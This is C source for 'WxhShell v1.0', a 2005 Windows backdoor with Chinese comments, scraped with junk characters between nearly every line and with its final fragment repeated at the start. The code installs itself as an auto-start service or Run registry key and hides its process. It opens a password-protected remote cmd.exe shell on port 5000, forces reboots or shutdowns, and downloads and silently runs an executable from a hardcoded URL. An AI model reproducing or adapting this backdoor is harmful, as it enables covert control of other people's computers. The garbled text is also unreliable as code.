Xf } PROCESS_BASIC_INFORMATION; A:PQIcR;V j hf%ze PROCNTQSIP NtQueryInformationProcess; 1"?3l`i &6<>hqR^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;#$ 67G$ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gw' uY$ 0NrUB HANDLE hProcess; BwMi@r
= PROCESS_BASIC_INFORMATION pbi; Z^ynw8k" PDQC^2Z HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "#1KO1@G if(NULL == hInst ) return 0; 2f>G 2yZ/'}Mw g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,l/~epx4v) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \) DJo NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S.&=>
{=mf/3.r if (!NtQueryInformationProcess) return 0; j#L"fW^GM :U;n?Zu
S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iR}3 [ if(!hProcess) return 0; /$
Gp<.z Wy1#K)LRb if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qQK0s*^W q"BM*:W CloseHandle(hProcess); mp]}-bR) mHCp^g4Q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6r if(hProcess==NULL) return 0; d&[Ct0!++u ^w]N#%k\H HMODULE hMod; c#o(y6 char procName[255]; r\nKJdh;ka unsigned long cbNeeded; C1w~z4Qp F<FNZQ@<U if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PP/EZ ^]b .Uk ejx CloseHandle(hProcess); B=)&43)\ zgre&BV0q if(strstr(procName,"services")) return 1; // 以服务启动 Cg{V"B: bu[PQsT return 0; // 注册表启动 Fu0"Asxce } yTt,/+I%gJ f};lH[B3y // 主模块 $ZnLY uGb int StartWxhshell(LPSTR lpCmdLine) n1
k2<BU4b { /mS|Byx SOCKET wsl; )v\zaz BOOL val=TRUE; Gg'sgn
int port=0; i/Zv@GF struct sockaddr_in door; ^d6}rtG k55s-%Ayr if(wscfg.ws_autoins) Install(); t<8vgdD bcx,Kb port=atoi(lpCmdLine); VycCuq&M #fB&Hv #s7 if(port<=0) port=wscfg.ws_port; 8&[Lr o9 B=<>OYH WSADATA data; +Cs[]~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `O5 Hzb(} ^a>3U l{ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n8h1SlK08 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8{0=tOXx{ door.sin_family = AF_INET; *?? !~RE door.sin_addr.s_addr = inet_addr("127.0.0.1"); x}^:Bs+j door.sin_port = htons(port); Z<_"Tk;!', 6YErF| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h?Y->!' closesocket(wsl); RSv?imi= return 1; +qPpPjG; } Q:L^DZkGV ot%^FvQ[c if(listen(wsl,2) == INVALID_SOCKET) { ajM3Uwnr closesocket(wsl); u& 4i=K'x8 return 1; EN,PI~~F } S['rfD>9 Wxhshell(wsl); yT$CImP73 WSACleanup(); tfKf*Um xYmh{Vc8 return 0; x]6-r`O7r Etj0k}
A } `j#zwgUs 3p+V~n.+ // 以NT服务方式启动 kT@m*Etr{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lmGVSdo
{ |]M|IX8
o DWORD status = 0; $a@T:zfe DWORD specificError = 0xfffffff; #oYPe:8|m 9mmkFaBQ serviceStatus.dwServiceType = SERVICE_WIN32; *dAQ{E(rO serviceStatus.dwCurrentState = SERVICE_START_PENDING; B0M(&)!%
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =~D QX\ serviceStatus.dwWin32ExitCode = 0; '9ki~jtf= serviceStatus.dwServiceSpecificExitCode = 0; icrcP ~$A serviceStatus.dwCheckPoint = 0; +!~"ooQZh serviceStatus.dwWaitHint = 0; )X2/_3 5V $H?MW> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); = :/4) if (hServiceStatusHandle==0) return; o){\qhLp 6*aU^#Hz6 status = GetLastError(); '5)PYjMnH if (status!=NO_ERROR) k4E2OyCFoJ { 69"4/n7B? serviceStatus.dwCurrentState = SERVICE_STOPPED; %&5PZmnW serviceStatus.dwCheckPoint = 0; t?aOZps serviceStatus.dwWaitHint = 0; V+$^4Ht serviceStatus.dwWin32ExitCode = status; c%+_~iBUN serviceStatus.dwServiceSpecificExitCode = specificError; 94}y,\S~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Wg!>g! return; sU$<v( `" } '8"nXuL- 1RgERj serviceStatus.dwCurrentState = SERVICE_RUNNING; rj
] ~g serviceStatus.dwCheckPoint = 0; =j"bLX6; serviceStatus.dwWaitHint = 0; ?8/T#ox if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u9*7Buou^ } |V&E q>G
Y2TXWl,Jk // 处理NT服务事件,比如:启动、停止 W9G1wU VOID WINAPI NTServiceHandler(DWORD fdwControl) 6QYHPz { b{Bef*`/ switch(fdwControl) Ve ipM { q&kG> case SERVICE_CONTROL_STOP: u*m|o8 serviceStatus.dwWin32ExitCode = 0; N[zR%(YS serviceStatus.dwCurrentState = SERVICE_STOPPED; 0O!A8FA0 serviceStatus.dwCheckPoint = 0; ^4~?]5Y\ serviceStatus.dwWaitHint = 0; 7NMy1'-q { 6W/uoH=; SetServiceStatus(hServiceStatusHandle, &serviceStatus); +7mUX } *AG01# ZF return; YM,UM> case SERVICE_CONTROL_PAUSE: n#S?fsQN serviceStatus.dwCurrentState = SERVICE_PAUSED; M%#F"^8v break; mM2DZ^"j( case SERVICE_CONTROL_CONTINUE: pM-mZ/? serviceStatus.dwCurrentState = SERVICE_RUNNING; ~[Z(6yX break; wCEcMVT case SERVICE_CONTROL_INTERROGATE: +,zV
[\ break; U.Fs9F4M # }; #('GGzL6c SetServiceStatus(hServiceStatusHandle, &serviceStatus); }p>l,HD } p:ubj'(U05 gbu*6&j9 // 标准应用程序主函数 ujLje:Yc int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cp&1yB
{ |F +n7 .\+c{ // 获取操作系统版本 a/n~#5- OsIsNt=GetOsVer(); >?jmeD3u GetModuleFileName(NULL,ExeFile,MAX_PATH); F8xu&Vk0: RREl($$p // 从命令行安装 K_fJ{Vc>O if(strpbrk(lpCmdLine,"iI")) Install(); uMjL>YLq{? "8
?6;!, // 下载执行文件 sWKv>bx if(wscfg.ws_downexe) { ma6Wr !J if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }_D{|!!!T WinExec(wscfg.ws_filenam,SW_HIDE); N}Or+:"O:q } 5&_R+g %edTW[C` if(!OsIsNt) { } x
KvN // 如果时win9x,隐藏进程并且设置为注册表启动 O&Y22mu HideProc(); M hjIE<OI= StartWxhshell(lpCmdLine); ab[V->>% } S`& yVzv else X=? \A{Y if(StartFromService()) 3}B-n!|* // 以服务方式启动 4{h^O@*g StartServiceCtrlDispatcher(DispatchTable); Jw^h<z/Ux else y!x-R!3 // 普通方式启动 E O " StartWxhshell(lpCmdLine); Pr,C)uch }OSf C~5P return 0; u4xJ-Vu } _)~|Z~ _zLEHEZ- ?sxf_0* #2+hu^Q- =========================================== n.A*(@noe f5R%F~ %5;kNeD\Fq sA
}X)aP iHWt;] USXPa[ " ^.M_1$- ?h8/\~Dw #include <stdio.h> E8o9ufj3 #include <string.h> -./Y #include <windows.h> XX*f #include <winsock2.h> QzYaxNGv #include <winsvc.h> >Lz2zlZI #include <urlmon.h> :0Fwaw9PH" /sl#M #pragma comment (lib, "Ws2_32.lib") ltd'"J/r #pragma comment (lib, "urlmon.lib") U27ja|W^ QEEX|WM #define MAX_USER 100 // 最大客户端连接数 }U b "Vb #define BUF_SOCK 200 // sock buffer K$M,d-
`b #define KEY_BUFF 255 // 输入 buffer V{0 V/Nv hflDVGBW #define REBOOT 0 // 重启 lqKwjJtX #define SHUTDOWN 1 // 关机 #elaz8 5 Pv@;)s(- #define DEF_PORT 5000 // 监听端口 VE/~tT; SHCVjI6 #define REG_LEN 16 // 注册表键长度 FRTvo #define SVC_LEN 80 // NT服务名长度 b$FXRR\G -A Nq!$E // 从dll定义API q{.~=~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;<` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xX])IZD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S[uHPYhlA typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $Vm J[EF1 !Jo.Un7 // wxhshell配置信息 "(?[$R struct WSCFG { WTh|7& int ws_port; // 监听端口 to 3i!b char ws_passstr[REG_LEN]; // 口令 [g*]u3s int ws_autoins; // 安装标记, 1=yes 0=no H
%PIE1_ char ws_regname[REG_LEN]; // 注册表键名 s[@@INU char ws_svcname[REG_LEN]; // 服务名 7h/{F({r= char ws_svcdisp[SVC_LEN]; // 服务显示名 fKT(.VNq5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 j Ns eD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i@d@~M7/ int ws_downexe; // 下载执行标记, 1=yes 0=no m;I;{+"u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5(OF~mX# char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8|,-P=%t r,dxW5v. }; S[M\com' DSHpM/7 // default Wxhshell configuration 1')/ BM2 struct WSCFG wscfg={DEF_PORT, **O4"+Xi8 "xuhuanlingzhe", iJE|u 1, IN]bAd8" "Wxhshell", mwTn}h3N "Wxhshell", z*>CP "WxhShell Service", o[ %Q&u "Wrsky Windows CmdShell Service", Qi7^z; "Please Input Your Password: ", ;7<a0HZ5! 1, L7%'Y}1e. "http://www.wrsky.com/wxhshell.exe", tdr*>WL "Wxhshell.exe" ig/716r| }; fhn0^Qc"+ 7"JU)@ U] // 消息定义模块 ^NLKX5Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uf)W?`e~ char *msg_ws_prompt="\n\r? for help\n\r#>"; C 127he char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AQ
7e char *msg_ws_ext="\n\rExit."; 2i(|? XJ^ char *msg_ws_end="\n\rQuit."; Nd!2 @?V4 char *msg_ws_boot="\n\rReboot..."; a\m10Ih: char *msg_ws_poff="\n\rShutdown..."; nZ7v9o9 char *msg_ws_down="\n\rSave to "; p r0V) C6 ]:E]5&VwV} char *msg_ws_err="\n\rErr!"; Z#o\9/{(R char *msg_ws_ok="\n\rOK!"; FVQWz[N r IK|} 5 char ExeFile[MAX_PATH]; JcVq%~{M int nUser = 0; *E)Y?9u" HANDLE handles[MAX_USER]; MthThsr7 int OsIsNt; -6tF lIFU7g SERVICE_STATUS serviceStatus; b);}x1L.T SERVICE_STATUS_HANDLE hServiceStatusHandle; Z|?XQ-R5 #Aan v // 函数声明 wbS++cF< int Install(void); t+(CAP|, int Uninstall(void); }t-r:R$, int DownloadFile(char *sURL, SOCKET wsh); "\=_- ` int Boot(int flag); %-'U9e KN void HideProc(void); gq@."wHU int GetOsVer(void); 6Rf5 int Wxhshell(SOCKET wsl); ^ KjqS\< void TalkWithClient(void *cs); ]Ojt3)fB int CmdShell(SOCKET sock); 4 z`5W, int StartFromService(void); J;kbY9e int StartWxhshell(LPSTR lpCmdLine); |}|;OG vZDQ@\HrC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )nk>*oE VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5,((JxX$ E37@BfpO3 // 数据结构和表定义 vxt^rBA SERVICE_TABLE_ENTRY DispatchTable[] = \~H"!vj { *sG<w%% {wscfg.ws_svcname, NTServiceMain}, 09?<K)_G {NULL, NULL} ?hu 9c }; O&s6blD11 X>6a@$Mx P // 自我安装 IyuT=A~Ki int Install(void) F3'X { qpeK><o char svExeFile[MAX_PATH]; *3K"Kc2 HKEY key; #?=cg]v_ strcpy(svExeFile,ExeFile); t}FMBGo[ )-{Qa\6(% // 如果是win9x系统,修改注册表设为自启动 L' pZ if(!OsIsNt) { 7| T:TbY> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F1=+<]! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v8IL[g6" RegCloseKey(key); Z9D4;1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5xHiq&d.E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hF 1/=;> RegCloseKey(key); O?WaMfS[1 return 0; VfwD{+5 } V"ZbKV+[ } Uk2q,2 } %E\%nTV else { kt#W~n z&0V21"l // 如果是NT以上系统,安装为系统服务 f.$o|R=v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z)~!G~J] if (schSCManager!=0) Em;b,x*U { ]`XuE-Uh SC_HANDLE schService = CreateService Q=8
cBRe ( u3:Q t2^S schSCManager, ,')bO*Ng wscfg.ws_svcname, *La =7y: wscfg.ws_svcdisp, M::iU_ SERVICE_ALL_ACCESS, #0D.37R+k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |7$h@KF=S SERVICE_AUTO_START, TH!8G,(w SERVICE_ERROR_NORMAL, pQ Y> svExeFile, SA1/U NULL, G~L?q~b NULL, `RcNqPY#S NULL, RX1{?*r]Z NULL, JY+[ NULL srLr~^$j[ ); &^_(xgJL if (schService!=0) (O2HB-<rY { eeZysCy+DY CloseServiceHandle(schService); N0[I2'^. CloseServiceHandle(schSCManager); n y)P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YMTA`T(+ strcat(svExeFile,wscfg.ws_svcname); ^^SfIK?p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7nz+n# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); { NJ>[mKg RegCloseKey(key); 9VE;I:NO3 return 0; H@ms43v\ } H|U/tU- } ..!-)q'? CloseServiceHandle(schSCManager); X^5"7phI@ } ? myXG92 } Zbh]OCN \ZRoTh return 1; ~N^vE; } 5ba[6\Af wWU_?Dr_~ // 自我卸载 znO00qX int Uninstall(void) N-9gfG { nln6:^w HKEY key; S "Pj1 R?~h7 d if(!OsIsNt) { Z3>xpw G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~+egu89'TU RegDeleteValue(key,wscfg.ws_regname); jYX9;C;J RegCloseKey(key); tC:,!4 P$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TrU@mYnE RegDeleteValue(key,wscfg.ws_regname); je4&'vyU RegCloseKey(key); bV*zMoD# return 0; A9Wqz"[ } vfUfrk@D~ } U/!&KsnT } dm=F:\C else { t}k'Ba3]:Y bxSKe6l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $3.vVnc if (schSCManager!=0) (mIJI,[xn { lp-Zx[#`}C SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l\;mP.! if (schService!=0) Jx$#GUl#j { |QOJ9~hxD if(DeleteService(schService)!=0) { E ' JC CloseServiceHandle(schService); qmeml_(W CloseServiceHandle(schSCManager); (TNY2Ke2 8 return 0; 7b,,%rUd } 6//FZ:q CloseServiceHandle(schService); zWs*kTtA } .*~u CloseServiceHandle(schSCManager); /cC6qhkp% } YOV4)P" } E97+GJ3 h<1dTl* return 1; NS4'IR=;E! } S?7V
"LF C<t'f(4s`u // 从指定url下载文件 -^4bA<dCCE int DownloadFile(char *sURL, SOCKET wsh) nH>V Da { uy _i{Y| HRESULT hr; &s^>S?L- char seps[]= "/"; Ogke*qM char *token; %y\eBfW,/ char *file; RC{Z)M{~ char myURL[MAX_PATH]; 8$v zpu char myFILE[MAX_PATH]; /;NE]{K Bd9hf`%2 strcpy(myURL,sURL);
+lgF/y6 token=strtok(myURL,seps); gMBQtPNM while(token!=NULL) 2K rqY { L;M^>{> file=token; s"',370 token=strtok(NULL,seps); `}~)1'(#/ }
Q
A)9 {jM<t GetCurrentDirectory(MAX_PATH,myFILE); "bR'Bt strcat(myFILE, "\\"); |\%F(d330 strcat(myFILE, file); Wda\a.bXT send(wsh,myFILE,strlen(myFILE),0); P"9@8aLB send(wsh,"...",3,0); vDW&pF_eI> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4l
ZJb if(hr==S_OK) HKiVEg return 0; H*{k4 else
r=DHt&x= return 1; G?-`>N-u }-{ b$6] } } }f_ m c\ C // 系统电源模块 2#b<d?" int Boot(int flag) 6<s(e_5f { 7^I$%o 1g HANDLE hToken; S*CLt TOKEN_PRIVILEGES tkp; Vo9>o@FlLM 'EL || if(OsIsNt) { dF{6>8D=5B OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6mBDd>`0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VPM|Rj:d tkp.PrivilegeCount = 1; +#*&XX5A#? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L8:]`MQ0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); chO'Q+pw if(flag==REBOOT) { hg&w=l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q)G!Y
(g\ return 0; ~Un64M? } DhWWN>I else { D(qHf9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P(pd0,%i;a return 0; ]HyHz9QkL } G}P)vfcH } MOP]\ypn else { $v:gBlj%" if(flag==REBOOT) { np-T&Pz2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,Um 5S6 Z return 0; TZh\#dp4l } 6;
5)/ q else { n9kd2[s| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |7QVMFZ return 0; E 4='m } p*pn@z } Iys6R?~ HZDk
<aU/! return 1; { r6]MS#l1 } O1?B{F/ e 1 [fo'M // win9x进程隐藏模块 ka2F! void HideProc(void) "u(S2'DW'( { wTTTrk iN<(O7B; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G-\<5]k] if ( hKernel != NULL ) [i(Cl} { DC|xilP1O pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9 m\)\/V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /&D'V_Q`* FreeLibrary(hKernel); v#<\:|XAg } 2q"_^deI5* =MTj4VXh" return; <#xrrRhm} } R=\v3m ]`zjRRd // 获取操作系统版本 b
A)b`1lI int GetOsVer(void) +"YTCzv;t { 8?e OSVERSIONINFO winfo; $zC6(C(l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cs K>iN GetVersionEx(&winfo); V.;:u#{@-Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OM20-KDc5 return 1; gI)w^7Gi else <K.Bq] return 0; I:F'S# } EvwbhvA( 0=OD?48< // 客户端句柄模块 E x_L!9>! int Wxhshell(SOCKET wsl) X$Q2m{dR { B;eW/#` SOCKET wsh; CxJfrI_W struct sockaddr_in client; pNp^q/-yB DWORD myID; J3H.%m!V [zY!'cz? while(nUser<MAX_USER) QjQ4Z'.r > { |yLk5e~@- int nSize=sizeof(client); i[^k.W3gf wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1KW3l<v-6 if(wsh==INVALID_SOCKET) return 1; HR[Q
?rg T|;^.TZ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); McEmd.S<n if(handles[nUser]==0) }l.KpdRT2 closesocket(wsh); LkaG8#m1R else M$,Jg5Dc nUser++; )*!1bgXQ } NmjzDN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;xSRwSNDi( mYX56,b}5 return 0; j: <t } q^u1z|'Z Lb!r(o>8Cb // 关闭 socket m+Y@UgB void CloseIt(SOCKET wsh) hgj CXl { HKpD2M closesocket(wsh); PdR >;$1 nUser--; 0;vtdM[_ ExitThread(0); )nhfkW=e } 6yN"
l
Q7 q1UBKhpnH // 客户端请求句柄 --Oprl void TalkWithClient(void *cs) c+1vqbqHG {
LlU'_}> u/} xE7G SOCKET wsh=(SOCKET)cs; GUKDhg,W char pwd[SVC_LEN]; wjuGq.qIu
char cmd[KEY_BUFF]; f](I.lm: char chr[1]; DX|uHbGg int i,j; 6%>/og\% _~ v-:w while (nUser < MAX_USER) { w-lrnjs m6-76ma,hi if(wscfg.ws_passstr) { ]+AAT=B<! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y]~IY?I //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bk+{} //ZeroMemory(pwd,KEY_BUFF); H]BAW *} i=0; SAP;9*f1\ while(i<SVC_LEN) { 8AryIgy>@ D^nxtuT* // 设置超时 p[u4, fd_set FdRead; C+`xx('N9 struct timeval TimeOut; .XIr?>G FD_ZERO(&FdRead); ~fBex_.o* FD_SET(wsh,&FdRead); j13riI3A TimeOut.tv_sec=8; Ex6o=D2 TimeOut.tv_usec=0; @2u#93Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D{>\-]\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
t7&Dwmck9 sqT^t! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6Hda]y pwd=chr[0]; #aa1<-&H if(chr[0]==0xd || chr[0]==0xa) { rxs8De pwd=0; A$Wx#r7) break; 0EyAMu } 691G15 i++; =9(tsB gTX } X\kjAMuW/* NK~PcdGl // 如果是非法用户,关闭 socket wajZqC2yg if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4x(F&0 } bhn5Lz$z +SyUWoM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b]w[*<f? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0:. 6rp ":V%(c while(1) { #J\s%60pt dKb ^x^ ZeroMemory(cmd,KEY_BUFF); ~ibF M5m Y3<b~!f // 自动支持客户端 telnet标准 "(<%Ua j=0; @O'I)(To while(j<KEY_BUFF) { q4+Yv2e
<r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w?_`/oqd| cmd[j]=chr[0]; J)#S-ZB+'k if(chr[0]==0xa || chr[0]==0xd) { ac|/Y$\w cmd[j]=0; .wD>Gs{sH[ break; 4j^bpfb, } e9lOk)`t j++; %;tJQ%6-.S } w]F!2b! GoazH?% // 下载文件 ,aWCiu} if(strstr(cmd,"http://")) { QhsVIta send(wsh,msg_ws_down,strlen(msg_ws_down),0); }YRO'Q{ if(DownloadFile(cmd,wsh)) hox< vr4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); j-QGOuvW else lM$t!2pRB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >%l:Dw\A: } )O&z5n7t4s else { 6P^hN%0 ~pRs- switch(cmd[0]) { j$mz3Yk 0X#+#[W // 帮助 !UVk9 case '?': { \OT6L'l], send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $cu]_gu break; +X[8wUm|^ } SwX@I6huM // 安装 n7S;
Xve# case 'i': { djfU:$!j& if(Install()) >9MS"t send(wsh,msg_ws_err,strlen(msg_ws_err),0); I3PQdAs~&h else *x!LKIpv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?^. Pt break; 8 ip^] } `H"vR:~{ // 卸载 onib x^Fcd case 'r': { NN mM#eB:4 if(Uninstall()) S}b~_} send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6uqUiRs() else HD H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lCHo+>\Z break; ?aFZOc4
} 5aG5BA[N // 显示 wxhshell 所在路径 :]-$dEu& case 'p': { KGD'mByt" char svExeFile[MAX_PATH]; w,/6B&| strcpy(svExeFile,"\n\r"); mqw 84u strcat(svExeFile,ExeFile); \C7q4p?8 send(wsh,svExeFile,strlen(svExeFile),0); CbQ4Y break; ) $J7sa } W"t"X ~T3 // 重启 iu|v9+ case 'b': { C5MqwNX send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W "k|K: if(Boot(REBOOT)) &r:=KT3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sz)b7: else { jqtVpNwM closesocket(wsh); 86qcf"?E ExitThread(0); 3daC;;XO } :X Lp break; 2lo:a{}j } |EEi&GOR(y // 关机 QXY}STs case 'd': { x)5LT}p send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kV+ R5R if(Boot(SHUTDOWN)) MyFCJJ/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ Mn6 L= else { wPgDy closesocket(wsh); |T
y=7d , ExitThread(0); G1[(F`t> } B!uxs break; He<;4?: } &`@lB (m // 获取shell U=DEV7 E case 's': { Zw24f1iY CmdShell(wsh); 8i[LR#D) closesocket(wsh); N|<bVq% ExitThread(0); [<S^c[47U break; | k}e&Q_/G } GXYj+ qJ // 退出 Ld~ q1*7J case 'x': { ?BsH{QRYQ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .1{l[[= W CloseIt(wsh); R;'?;I break; )qd={ } CIy^`2wq // 离开 7>&1nBh. f case 'q': { cm,4&x6 send(wsh,msg_ws_end,strlen(msg_ws_end),0); w5(yCyNp~ closesocket(wsh); QTE:K? WSACleanup(); I^:F)a: exit(1); bRsc-Fz6 break; ;W~4L+e } ~ k<SbFp } U{HML| } xW0Z'== x?=B\8m // 提示信息 }AJ L,Q7q if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1daL y } -=sf}4A } Q1]Wo9j *{nunb>WO return; O4!9{ } xEC2@J ^Et,TF\ // shell模块句柄 8W$L:{ez int CmdShell(SOCKET sock) Khap9a_q- { Kr]W
o8dWy STARTUPINFO si; x{?sn ZeroMemory(&si,sizeof(si)); 5{>>,pP& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fp tIc#4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @(){/cF PROCESS_INFORMATION ProcessInfo; KC]tY9 FK char cmdline[]="cmd"; H0+:XF\M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q0g1EJar return 0; .:[`j3s )Y } b}}y=zO|$ v8 // 自身启动模式 \OA
L Or int StartFromService(void) Ih3$ { 6%UY1Q.? typedef struct \j:AR4 { xG w?'\ DWORD ExitStatus; &+]x;K DWORD PebBaseAddress; B\/7^{i5 DWORD AffinityMask; o X@nP?\ DWORD BasePriority; N3Z@cp ULONG UniqueProcessId; yf?W^{^| ULONG InheritedFromUniqueProcessId; ^}hZ'<PK } PROCESS_BASIC_INFORMATION; ])=H m3luhGn PROCNTQSIP NtQueryInformationProcess; AA2ui% y{92Lym static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bM5CDzH(#X static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lz}llLb1 Pa[?L:E HANDLE hProcess; XECikld> PROCESS_BASIC_INFORMATION pbi; s6/cL|Ex 2m_H*1HJ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0mVuD\#=! if(NULL == hInst ) return 0; mtIMW9 0Nt%YP g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .*:h9AE7vo g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |,{+;: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kU1 %f
